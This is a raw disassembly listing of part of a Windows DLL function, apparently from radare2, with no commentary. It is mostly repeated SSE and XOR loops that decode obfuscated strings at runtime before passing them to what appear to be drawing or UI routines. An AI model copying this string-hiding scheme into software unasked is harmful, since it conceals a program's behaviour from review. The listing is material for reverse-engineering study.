lea rcx, [rbp + 0xb90]
call fcn.18004abb0
mov cl, 1
call fcn.180017290
mov dword [rbp + 0x218], 0x439d0000
mov dword [rbp + 0x21c], 0x41400000
lea rcx, [rbp + 0x218]
call fcn.180024f20
mov dword [rbp + 0x220], 0x43910000
mov dword [rbp + 0x224], 0x43910000
movsd xmm0, qword [str.d_MNRRZM_]
movsd qword [rbp + 0x388], xmm0
movzx eax, byte [0x1801b3540]
mov byte [rbp + 0x388], 0x53
xor byte [rbp + 0x389], 0x38
xor byte [rbp + 0x38a], 0x39
xor byte [rbp + 0x38b], 0x3a
xor byte [rbp + 0x38c], 0x3b
xor byte [rbp + 0x38d], 0x3c
xor byte [rbp + 0x38e], 0x3d
xor byte [rbp + 0x38f], 0x3e
xor al, 0x3f
mov byte [rbp + 0x390], al
mov qword [rsp + 0x28], rdi
lea rax, [0x1801ada20]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x388]
call fcn.180013bd0
movsd xmm0, qword [str.sQJNZRW_]
movsd qword [rbp + 0x3b8], xmm0
movzx eax, word [0x1801b3550]
mov word [rbp + 0x3c0], ax
mov dword [rsp + 0x28], esi
lea rax, [0x180168a28]
mov r9d, 0xbb8
mov r8d, 1
lea rdx, [0x1801e8e88]
lea rcx, [rbp + 0x3b8]
mov qword [rsp + 0x20], rax
cmp byte [0x1801b3551], 0
je 0x1800d6b29
mov byte [rbp + 0x3b8], 0x44
xor byte [rbp + 0x3b9], 0x38
xor byte [rbp + 0x3ba], 0x39
xor byte [rbp + 0x3bb], 0x3a
xor byte [rbp + 0x3bc], 0x3b
xor byte [rbp + 0x3bd], 0x3c
xor byte [rbp + 0x3be], 0x3d
xor byte [rbp + 0x3bf], 0x3e
xor byte [rbp + 0x3c0], 0x3f
xor byte [rbp + 0x3c1], 0x40
call fcn.180052430
movzx eax, word [0x1801b3568]
mov word [rbp + 0xa80], ax
movzx eax, byte [0x1801b356a]
movups xmm2, xmmword [str.sQJNZRW__b____3_I]
mov byte [rbp + 0xa82], al
movups xmmword [rbp + 0xa70], xmm2
mov r8d, esi
cmp r14d, 2
jl 0x1800d6d12
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xa70], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa74]
xorps xmm2, xmm1
movd dword [rbp + 0xa74], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa78]
xorps xmm2, xmm1
movd dword [rbp + 0xa78], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa7c]
xorps xmm2, xmm1
movd dword [rbp + 0xa7c], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xa70]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1800d6d20
mov r8, rdi
lea rdx, [0x1802efddf]
lea rcx, [rbp + 0xa70]
call fcn.18004abb0
movups xmm2, xmmword [str.zWJNI_O]
movups xmmword [rbp + 0xa40], xmm2
movzx eax, word [0x1801b3580]
mov word [rbp + 0xa50], ax
cmp byte [0x1801b3581], 0
je 0x1800d6f90
mov r8d, esi
cmp r14d, 2
jl 0x1800d6f4a
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xa40], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa44]
xorps xmm2, xmm1
movd dword [rbp + 0xa44], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa48]
xorps xmm2, xmm1
movd dword [rbp + 0xa48], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa4c]
xorps xmm2, xmm1
movd dword [rbp + 0xa4c], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xa40]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1800d6f60
mov r8, rdi
lea rdx, [0x1801e8e81]
lea rcx, [rbp + 0xa40]
call fcn.18004abb0
movsd xmm0, qword [0x1801b3588]
movsd qword [rbp + 0x698], xmm0
mov ecx, dword [0x1801b3590]
mov dword [rbp + 0x6a0], ecx
movzx eax, word [0x1801b3594]
mov word [rbp + 0x6a4], ax
cmp byte [0x1801b3595], 0
je 0x1800d7170
mov r8d, esi
cmp r14d, 2
jl 0x1800d712a
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1801b3588]
xorps xmm1, xmm0
movd dword [rbp + 0x698], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x69c]
xorps xmm2, xmm1
movd dword [rbp + 0x69c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x6a0], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x698]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800d7140
mov r8, rdi
lea rdx, [0x1802efdde]
lea rcx, [rbp + 0x698]
call fcn.18004abb0
movzx eax, word [0x1801b35a8]
mov word [rbp + 0xaf8], ax
movzx eax, byte [0x1801b35aa]
movups xmm2, xmmword [str.xMMVRRX]
mov byte [rbp + 0xafa], al
movups xmmword [rbp + 0xae8], xmm2
mov r8d, esi
cmp r14d, 2
jl 0x1800d736a
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xae8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xaec]
xorps xmm2, xmm1
movd dword [rbp + 0xaec], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xaf0]
xorps xmm2, xmm1
movd dword [rbp + 0xaf0], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xaf4]
xorps xmm2, xmm1
movd dword [rbp + 0xaf4], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xae8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1800d7380
mov r8, rdi
lea rdx, [0x1801e8e82]
lea rcx, [rbp + 0xae8]
call fcn.18004abb0
movups xmm2, xmmword [str.QWRZ]
movups xmmword [rbp + 0xa88], xmm2
movzx eax, word [0x1801b35c0]
mov word [rbp + 0xa98], ax
movzx eax, byte [0x1801b35c2]
mov byte [rbp + 0xa9a], al
mov r8d, esi
cmp r14d, 2
jl 0x1800d75aa
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xa88], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa8c]
xorps xmm2, xmm1
movd dword [rbp + 0xa8c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa90]
xorps xmm2, xmm1
movd dword [rbp + 0xa90], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa94]
xorps xmm2, xmm1
movd dword [rbp + 0xa94], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xa88]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1800d75c0
mov r8, rdi
lea rdx, [0x1802efddd]
lea rcx, [rbp + 0xa88]
call fcn.18004abb0
movups xmm2, xmmword [0x1801b35c8]
movups xmmword [rbp + 0xaa0], xmm2
movzx eax, word [0x1801b35d8]
mov word [rbp + 0xab0], ax
movzx eax, byte [0x1801b35da]
mov byte [rbp + 0xab2], al
mov r8d, esi
cmp r14d, 2
jl 0x1800d77ea
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xaa0], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xaa4]
xorps xmm2, xmm1
movd dword [rbp + 0xaa4], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xaa8]
xorps xmm2, xmm1
movd dword [rbp + 0xaa8], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xaac]
xorps xmm2, xmm1
movd dword [rbp + 0xaac], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xaa0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1800d7800
mov dword [rsp + 0x28], esi
lea rbx, str._.3f
mov qword [rsp + 0x20], rbx
movss xmm3, dword [0x180168be8]
movaps xmm2, xmm15
lea rdx, [0x1801e8e8c]
lea rcx, [rbp + 0xaa0]
call fcn.1800523e0
movups xmm2, xmmword [str.cYT_UTR]
movups xmmword [rbp + 0xab8], xmm2
movzx eax, word [0x1801b35f0]
mov word [rbp + 0xac8], ax
movzx eax, byte [0x1801b35f2]
mov byte [rbp + 0xaca], al
mov r8d, esi
cmp r14d, 2
jl 0x1800d7a43
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xab8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xabc]
xorps xmm2, xmm1
movd dword [rbp + 0xabc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xac0]
xorps xmm2, xmm1
movd dword [rbp + 0xac0], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xac4]
xorps xmm2, xmm1
movd dword [rbp + 0xac4], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xab8]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1800d7a50
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rbx
movss xmm3, dword [0x180168bbc]
movss xmm2, dword [0x180168b78]
lea rdx, [0x180250028]
lea rcx, [rbp + 0xab8]
call fcn.1800523e0
mov cl, 1
call fcn.180017290
jmp 0x1800d95a5
test eax, eax
jne 0x1800d959e
mov dword [rbp + 0x1a0], 0x42aa0000
mov dword [rbp + 0x1a4], 0x42700000
lea rcx, [rbp + 0x1a0]
call fcn.180024f20
mov qword [rbp + 0x228], 0
mov eax, dword [str.qJXW_]
mov dword [rbp - 4], eax
movzx eax, word [0x1801b35f8]
mov word [rbp], ax
mov byte [rbp - 4], 0x46
xor byte [rbp - 3], 0x38
xor byte [rbp - 2], 0x39
xor byte [rbp - 1], 0x3a
xor al, 0x3b
mov byte [rbp], al
xor byte [rbp + 1], 0x3c
lea rbx, [0x180167e06]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x228]
lea rcx, [rbp - 4]
call fcn.180013bd0
mov dword [rbp + 0x230], 0x41400000
mov dword [rbp + 0x234], 0x41400000
lea rcx, [rbp + 0x230]
call fcn.180024f20
movzx eax, word [0x1801b3608]
mov word [rbp - 0x70], ax
cmp byte [0x1801b3609], 0
je 0x1800d7b7b
mov byte [rbp - 0x70], 0x34
xor byte [rbp - 0x6f], 0x38
lea r10, [rbp - 0x70]
mov dword [rbp + 0x238], 0x43910000
mov dword [rbp + 0x23c], 0x439d8000
mov rax, qword [str.p_W_I_Q_]
mov qword [rbp + 0x240], rax
cmp byte [0x1801b3607], 0
je 0x1800d7cc9
mov r8d, esi
cmp r14d, 2
jl 0x1800d7c91
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x240]
xorps xmm2, xmm1
movd dword [rbp + 0x240], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x244]
xorps xmm2, xmm1
movd dword [rbp + 0x244], xmm2
jmp 0x1800d7cc9
lea r9, [rbp + 0x240]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800d7ca0
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r10
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x240]
call fcn.180013bd0
movsd xmm0, qword [0x1801b3618]
movsd qword [rbp + 0x6a8], xmm0
mov ecx, dword [str.V__7D]
mov dword [rbp + 0x6b0], ecx
movzx eax, word [0x1801b3624]
mov word [rbp + 0x6b4], ax
cmp byte [0x1801b3625], 0
je 0x1800d7eb0
mov r8d, esi
cmp r14d, 2
jl 0x1800d7e70
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1801b3618]
xorps xmm1, xmm0
movd dword [rbp + 0x6a8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
